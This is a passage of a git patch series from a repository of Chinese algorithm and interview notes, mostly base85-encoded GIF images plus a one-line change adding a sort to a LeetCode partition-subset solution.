zUU}EcY~PcUY2u;-(U$;oDu|ZTp8{t?Zi^AwtW47xT{!7{Ir1JLhPVGhB<(^uvI<}o
z!tl<uE^$OA2V0e-$AN8c&k}EPI@NsgBJp?2ku|M(CX+K@c)D$W8s5nW>mqOYL);hP
zQEOPjf_lGjQO?5Gq;?jEk^02+yWGsW)I4jAtd8bWty5;Lslhv&Na)x$>wAYr1zWI3
zVu&}hlu!y5aoSRjf9Jludk^GqRLY=*BzNQQ*iz>oGA5U)l+>sGp^nv#&s?X*(ROjC
zNu!Zy@UXi&bm2f$6BQND9`;%DBtVFsKMe6Hn@pXD6blkG`px}iwJ+o;`j0s(2rHJ&
z{BK?L=X;nOIBGi;6(fk)RHa<Q*=9T~Oz`V(hq=>IT8chFte{%Y&CS1$?deK{RRP~T
zed5@5YhCuHz@QkSy)2eFlvEnfXj|vyxAA1RqC=(l{e}>N#+SB3?nyyL*M+jRqKpI0
zyc<2($ZtNyHxqo@fc{q*O8#?RbU_nIfyt?F`?*2e?R|#QoeU*k>?(a-6IIazn|bf2
zIo$VxBg~!MX>cb^(Z|%WsW@a|>!+tnmv-9)*D^DW-02qAB|zl2kB9PBC9F7Y9FjB7
zeje}xj>GCs+id2?J(zA`q|KFoo3$5-uk2dIzb{`pGb)wY1in-MEZa1(OI5c-IKMbC
zx#2Lr(@^yDtapJUx<4{yyFWUf171m1zr+H^iS|!NhJxI{3vX1j$>8`l4sxDzqz!bK
zlg5u^Dzmw$c~}Go>=K|H9tkePa2k4<ivV<bn_L73Qr?#CrXbIzff*9WCv56KFH_$i
zEh&J8>Vu=P5Ox8CjfF&Ez#b#u901yE(IM$2&nN=@MFJOMpz#360a|PZK>i*Xy~tuD
zJ7pU6pqISRAF2dPZD^+mn}6jTX^Y$_%{gcPFLRDfr^VJrQ_3x4*J=Y#A#QJhb`(!7
zDMj%};<|JeCOsN`Gz@(x5EJ2!q1s_~TA(O;NTL?PL=~>52-i@6E1~2u2zjKmw*H;P
zl$RFRNF+)@K|x7LS;}0hYiMa|X=`o3VzqU2b#(RgHsUto^l=7;21Z7P#-_$5W+tX)
zre+qVc)W=v!Gwr6wa1$|TjJeptUR{ZdN|oj{c=0px9{5J<?H7g5V$8WG$<sRPEQUG
z%ZLm=&I~Jx3KK?$-P+HnXVROZL)#Pfcd=u7(+&=1#*gGA4do{H=B9Myr8S)3+{oot
z3Ah(|+|mrrg$&L)F6S&S<20Y2mzkBFnakrJJHpG0%_t7eDD%j;YRkQCmR^rbYt%_?
z);ijvmD;i)wFR5jqL<#H&uKB{wpj9;w`4WB9dD$bY-W};b1vQ~xh%SJ{btKAH@j}%
z=>O%~Q0>*R+G`WF*Pqm0fA-7G7j+`>-P)H8b+4N1=i8b;^mHurcYPh~T71yC^!s%z
zJ!t>?q|eefz5mUg@ZY58*P%hl@X*KMp?5>WZ-z(ahDXH@A3h&@^yKm5@$spL<IhIM
zXNM<W4L_M5n*K2OTylTr^MLs4!0b}b?DF8t<)N2<jSR=6JHtPwhU0U~(vuDj|Lw&4
zR~!8wspjeYiZsu>{<!jfVMX$J<?G_gw{I(d0G3k5a%EL|KUUU${8*FD1^*|D!T)TL
z<u;Ue{H0F=Ny2jf(x=63@AyNXmLuu2iv3fc7JgqRh1PxUPkq|KxBDrzQhgdW-wW>g
zXN#<#3G+DfXNzo{WH54#nkw%n)u;Jf-rbp78b!P|^$X-~O3*u{_mg)S_bW<|_?ta#
za+Bs94L|c|_sAb+wKR8Hyy#2=nrtvCkpy*SE$Ih)+R{UNqjg-<HaFBpW}G1;KW?@)
zA0DoT3zS!h5&K(9eFK6Y*wwt7V1?cf_H4T2{jmO8+4H={y9X=UcutRZ{HR%A#bLuu
z_CgAh$fxV`TDRUgb@sOzqqXkYEzRHFmj~I1$^5)|yaw-P<csHDZX`=0SO|58;)cVw
zZ|~uOm2E|?yA6U!r;s*?JKfKyRt>cRm9{zm=jpkl<NZ2AT{If0G)(Mi`9f5r>BnNy
zbHY>@^O`B!<4!%W*>Fc?NORvL0Dvjn@{*Q%<d%$f`dowCR044wj;As}I|W1Kd-gug
z@oDFF<3x4LjU0S@Q5fmTpeoAdpr+U}=LYbbvI!AG2`k(uBbdu_O_J$4>uXO^HuT?J
z>rosxFjeKV9p&4z(Wg~M_ngPCM#V)+GU|pw2~SD{%8@Ay-bSCx{b#aTv6o*}2Kc!v
z5+c6<_zHz&X`ouO!hX`fP&rOy`aEF<oVM=AuFt#qWdY|Kw)S{n@<y-LwyOAUb&ZD!
zt!5g5zYL{;Vq+i9y2RGubk4_kPqp4Ly9*Awzqh_B&%>PgJZ)derGc-+w~dZ<D`t)7
z|KVW)c%3V-xb^wt(;H1?JsQQWUlxx|-K&tFKGku8VET_vU7$|a-!LWugmK{i31imw
zJF=Y@{ws`m{qxY4rT3qQ$q=)@a*mt9jV}-X&N*Ml{<m|EfwL!$L8W)~I+Mh5*fU+e
z$+$p3J4ltYTlXj~J^Pj%X4`Qf!k!iI$ytFxr68>*!+1W{Q?yW|W!e{W7s6mo(4Y$W
zcp<`insYjjSQJA5Y5!K8nxhaH$k?&#302nZ+k4>$ISix3<$Kymq=z98@fLp`$H73O
z!ZJ0^uqmqFZLAsOVQvJMrqD-j7bTU$AC<sujDaAJc~nd)R)zr1E{@68k^dF&)HW9Y
zjR8ccxk;RUG{1)EyM+?gIAjW<1)QmF9--!pr%&L4e1-^vr!P}v8WyumXe>ezM#ipj
zJd-e4VA%(d(cf83)Z4AAQ5HwR9V)3yI4#M^70Y1lvg;TCdS)50Q+1wAWLPPj@S1)(
zejLcB13p=VU@FH)7F>p7fS8!UbL-YPJp)*JUf@cGYHPhJ#XLVct)yes@MV@BA}+d<
zImfW-cfBs=!OsUC*GhO(=Z<JsJ*LJ}+Sy;1yj!O@eIXRrH(4jQcea4~jiSPys$(Cg
z%l8ZKui2|vCsNztm#pA0lTr5?1s*J<@3o(_){79B$?urSSYK1?@M%@&B>kE*p^*l1
z*nM(i&l*$~^SuDIPDZR5-kD{$2H=}hDH^)l!B~Mv&hv}KhRS7CV(%h~Hvd_k({{<R
z8rY;ml1{X+diH}01l&oa_Ip*ZS{Z<kOLRnpLc3HuSef~U%h%0wu8<!(dbyoLR{aWa
z!Sw+I=B#!&L(+*GEJrca=d|D;p6!SrKUw6YMfHPhel8y4cgd=1cRDYB7oZcffzXm4
z8q$IdgpxsBB`;HKdj{^Z5j?n;u<8ZK4t)FV?t|~=o%S`Iy_+0Jfd%8iK}*VLMj{=S
zg1ctdCmO!@I#289%!_>%Vvso|^j6BTUP3F2-}h;U@bqJynMp?q0i%5IH`>~)vH<v`
zx%-kP&5$1O_40|;RdF3iEN5t~kY&@SgE|k`W)Y=feaIA#0Bp;)m=%JFA|2G^19Oe5
z8jukDM07~eJR@}hOl&S+U&+Z#nYb40lUUJwK+=7nMS!*`#sGdUyV_O5v%C-{rnfkm
zhBHC|NvL-Z>LS`z&*5{iT)6Xni(OoNZ?LEwS-NZyNE7E+UvF=M`QzQB`Zztd4koRd
zk24l$k=f-?0Cr&*g9zAE4Mf$HC<V%R&Ukm}b^Tn1^4q;&`>B^wCOgX(N$w2jl4<)w
zpEEZ^L6horM$uuX#I*yDh)Q%fde`KvdbF4({g(v$`^&CbNXo-`EHSJ|2o{ZZAQuVk
z{k9$=jahOyuU!Te%XB>td&oD}e0iVUFCf&nfl77i*GFSB+sk}%iHWmXy83-8m12$P
zqwTQ6YY@A!0`Yc-s`XJ32?dZ2Idj%`()bKTg;gA~^LF|0<?(H%Ped@!n!Q*Lyr3yJ
z4z%|QZ_LhG_3ER-kc<nXL3*H$2Wtd*;*8xyqd(6u%@kvCv^}__UvM{eF`v}txMMfH
zTSF2mu&2$Mv9ftm48k)*A)GtsvUqNqb5T7E=<&>(XXl@{<H&lP2D@ykdRt-4KSUGj
z{e)c?dvxWA7kG!AgrJINuOO<AuB(inK$xsC$=Sj0smSNgye*p<hFdb76erqG+%H_$
zbFPqroEIz=EmwfGWohv7d3VAH%fPDN5zZCu#73M@G+E|GT%tM+b?a8HO2Uy(!JYaI
z6*=mGK)886SFh4>YYg7lC{)lmh7QGfcxsw&&CgN-+*+t8p|2}(^UBF}l-*A2bd3gf
zDKlRmD@d1DxJN<^EZhPei4RYKc04-LDw4&<II1PM3}{!9H*Lz#u()2|zVZ25@%b9t
ztRx%vIgc@zi5o+$n<P6qoTli&Nr_k(u?ch@HFyX)I<r$)8Q_n;{A&?Y)n-O90N^Nh
zZuMoo??rjd+L=SGiUA|}o~hp1Yx#=m&Xko<H`3sm7-sGKLR=+TrB06IXdlx-SkKBY
zyquBiKj^+<S$4KMDL-}>^}+)HS<Z1nscQm85*|I%k?6VrB7R0MbAsNeXinmo*ZdKk
zSCVO;Hfo>3o{dyY8{_;0#Fve*>c#0;<uG@0a!@%k{*K8Q3(=1y2LYj8fDH5`Sb?e@
zi-E{a!~ke=vP{+kNXCi^#Fni(mWjH$7+o~N?RBKg6^AUd5=zM#S==alYi0l@{Ubx}
zk$|?qiSnz~WVmt9x`2%5%{eqs2vope^XWQ*tt94VpM(7}nXzu67g?c~MQWGHv@(2F
zA{5|GbL)+Rz3Fy|CM%;`XXv5zDh1=<R+>P^9}|L+J2S&)x9>Rt4ns|%s_%f~+E{dg
ze4Hq#REY9`hJk@#*Aae&H_W9V{V+7_Hx8<F1UxPWDIGc13WYrFPP2WL!y{o{T}llc
z4cOvz+-n@wJOhgp9(!B`-aHR$7NS~vj@z>_?ijffy~=3-IZqnwesvyHfL@TGJ{0)9
z9YKA-psz7cXak|nB2XwT%Z&~T6@r*<5wE5Dx;@7sqnn+7@1DU>HSj(%h}<TZ3a|pI
z75<!DpAG;7kI044tkyLYcGVL#zZJ^=&JC|A?VyK+W0UtMGO@m)@!{bIb{}-z9|73>
I|ML6)Ct-(L@&Et;

literal 0
HcmV?d00001


From eb4c58983e2d64bc7a4dfc15e395187103129c07 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 20:09:18 +0800
Subject: [PATCH 044/100] auto commit

---
 docs/notes/Leetcode 题解.md                     |   1 +
 .../pics/_u4E8C_u53C9_u6811_u7684_u4E0B_.gif    | Bin 0 -> 11264 bytes
 ...8C_u53C9_u6811_u7684_u4E0B_1548504426508.gif | Bin 0 -> 12288 bytes
 ...CE_u5C3E_u5230_u5934_u6253_1548503461113.gif | Bin 0 -> 15360 bytes
 docs/notes/剑指 offer 题解.md                   |   6 +++---
 docs/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_.gif   | Bin 0 -> 11264 bytes
 ...8C_u53C9_u6811_u7684_u4E0B_1548504426508.gif | Bin 0 -> 12288 bytes
 ...CE_u5C3E_u5230_u5934_u6253_1548503461113.gif | Bin 0 -> 15360 bytes
 8 files changed, 4 insertions(+), 3 deletions(-)
 create mode 100644 docs/notes/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_.gif
 create mode 100644 docs/notes/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_1548504426508.gif
 create mode 100644 docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548503461113.gif
 create mode 100644 docs/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_.gif
 create mode 100644 docs/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_1548504426508.gif
 create mode 100644 docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548503461113.gif

diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 25e0b079..9310948f 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -3050,6 +3050,7 @@ public boolean canPartition(int[] nums) {
     int W = sum / 2;
     boolean[] dp = new boolean[W + 1];
     dp[0] = true;
+    Arrays.sort(nums);
     for (int num : nums) {                 // 0-1 背包一个物品只能用一次
         for (int i = W; i >= num; i--) {   // 从后往前，先计算 dp[i] 再计算 dp[i-num]
             dp[i] = dp[i] || dp[i - num];
diff --git a/docs/notes/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_.gif b/docs/notes/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_.gif
new file mode 100644
index 0000000000000000000000000000000000000000..f769ea6804dd27d39b388e96639463ff804c6e50
GIT binary patch
literal 11264
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
